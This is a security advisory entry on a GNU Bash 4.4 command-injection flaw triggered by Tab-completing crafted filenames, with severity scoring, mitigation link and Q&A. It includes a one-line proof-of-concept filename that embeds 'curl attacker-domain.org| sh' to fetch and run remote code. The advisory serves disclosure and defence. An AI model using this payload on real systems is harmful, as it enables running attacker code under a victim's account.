Privilege escalation in GNU Bash

1) Improper filename handling

EUVDB-ID: #VU5653

Risk: Low

CVSSv3.1: 6.7 [CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H/E:P/RL:W/RC:C]

CVE-ID: N/A

CWE-ID: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Exploit availability: No

Description

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to incorrect handling of filenames, containing certain characters in GNU Bash. A local user can create a filename with double quote character followed by OS commands and execute them with privileges of the current user. The vulnerability is triggered automatically, once the victim starts typing the name of desired file and presses the Tab key to autocomplete the name of the file.

PoC-code:

	 some-very-long-string-nobody-is-going-to-type"`curl attacker-domain.org| sh`

Successful exploitation of the vulnerability may allow a local user with ability to place files on the filesystem to execute arbitrary OS commands with privileges of the current user.

Mitigation

Install update from vendor’s GIT repository:

http://git.savannah.gnu.org/cgit/bash.git/commit/?id=4f747edc625815f449048579f6e65869914dd715

Vulnerable software versions

Bash: 4.4

External links

http://github.com/jheyens/bash_completion_vuln/raw/master/2017-01-17.bash_completion_report.pdf

Q & A

Can this vulnerability be exploited remotely?

No. This vulnerability can be exploited locally. The attacker should have authentication credentials and successfully authenticate on the system.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.